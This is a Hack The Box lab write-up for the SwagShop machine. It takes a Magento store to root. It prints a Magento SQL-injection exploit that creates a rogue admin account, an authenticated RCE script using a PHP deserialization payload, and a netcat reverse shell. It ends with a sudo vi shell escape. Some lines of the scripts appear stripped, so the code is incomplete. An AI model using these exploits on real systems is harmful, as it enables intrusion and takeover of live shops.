HTB Reports: SwagShop


High-Level Summary


A quick scan with nmap will reveal two open ports on the server:

Starting Nmap 7.80 ( ) at 2019-10-02 13:32 CEST
Nmap scan report for
Host is up (0.049s latency).
Not shown: 998 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds

The ssh port isn’t interesting now. We navigate to the web server and find a magento installation:

Magento Home

In order to find more information about this installation, we can download magescan.

As we run magescan against our target we immediately discover its version number:

Magento Version

This version of Magento is quite outdated. We have high chances of finding a ready exploit for it. By having a look at the available public exploits, we find this one which doesn’t require authentication:

The vulnerability is explained in details here:

According to the article, Magento CE is vulnerable.

We need to extract the actual python code from the proof of concept and we can also customise the username and password. The final exploit I have used is this one:

import requests
import base64
import sys

target = ""
username = 'werebug'
password = 'werepass'

if not target.startswith("http"):
    target = "http://" + target

if target.endswith("/"):
    target = target[:-1]

target_url = target + "/admin/Cms_Wysiwyg/directive/index/"

SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');

query = q.replace("\n", "").format(username=username, password=password)
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)

# e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is\{\{block type=Adminhtml/report_search_grid output=getCsvFile\}\}
r =,
                  data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                        "filter": base64.b64encode(pfilter),
                        "forwarded": 1})
if r.ok:
    print "WORKED"
    print ("Check {0}/admin with creds " + username + ":" + password).format(target)
    print "DID NOT WORK"

We run the script and we get the following output:

Shoplift Exploit

We can now navigate to the admin login page and login with our newly created credentials:

Magento Admin Login

Magento Admin Dashboard

Now we have admin access. We can therefore have a look at other exploits. With a simple searchsploit magento, we see there’s an authenticated RCE exploit which targets our version of Magento.

The script requires a few configurations:

Script Parameters

We can add our credentials, and navigate to /app/etc/local.xml to find the installation date:

Installation Date

If we run the script as it is, it will fail complaining that there are two login[username] inputs in the form. For some reason, the author of the original exploit had to manually add the field in the script, thus resulting in a duplicate entry.

Find the following lines in the exploit:

request =

br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
br['login[username]'] = username
br['login[password]'] = password

Remove the new_control and fixup calls. We don’t need them.

Run the script and… it won’t work.

No tunnel group

If we look at the requests in Wireshark, we see that our query returns no data.

Wireshark No Data

Luckily the system is kind enough to suggest us other options that we can use for our query. We are currently querying for data in the last 7 days, and there are no data available. Let’s modify our script to look for data in the last 2 years.

In order to do so, change 7d to 2y in the target url. The lines of code we are looking for are the following:

request = + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel ="src=\"(.*)\?ga=",
tunnel =

Our exploit will look like this:

# Exploit Title: Magento CE < Post Auth RCE
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 ||
# Vendor Homepage:
# Software Link:
# Version: and below
# Tested on: Ubuntu 15
# CVE : none

from hashlib import md5
import sys
import re
import base64
import mechanize

def usage():
    print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""

if len(sys.argv) != 3:

# Command-line args
target = sys.argv[1]
arg = sys.argv[2]

# Config.
username = 'werebug'
password = 'werepass'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})

request =

br['login[username]'] = username
br['login[password]'] = password

br.method = "POST"
request = br.submit()
content =

url ="ajaxBlockUrl = \'(.*)\'", content)
url =
key ="var FORM_KEY = '(.*)'", content)
key =

request = + 'block/tab_orders/period/2y/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel ="src=\"(.*)\?ga=",
tunnel =

payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

    request =
except (mechanize.HTTPError, mechanize.URLError) as e:

We can now run out script and obtain RCE:

RCE whoami

Now that we have RCE, we can run a few commands to check how to obtain a reverse shell. My first try was which nc, and turns out that nc is installed on the system.

Setup your netcat listener to get a reverse shell:

www-data reverse shell

Privilege escalation on this machine is very simple.

We upload on the target machine, run it and it will immediately tell us how to obtain root:

Sudo Vi Nopasswd

This means we can run vi as root for any file in /var/www/html using sudo.

So we run:

sudo vi /var/www/html/pwn

And once the editor opens, we escape to a shell with :sh:


Now we own SwagShop.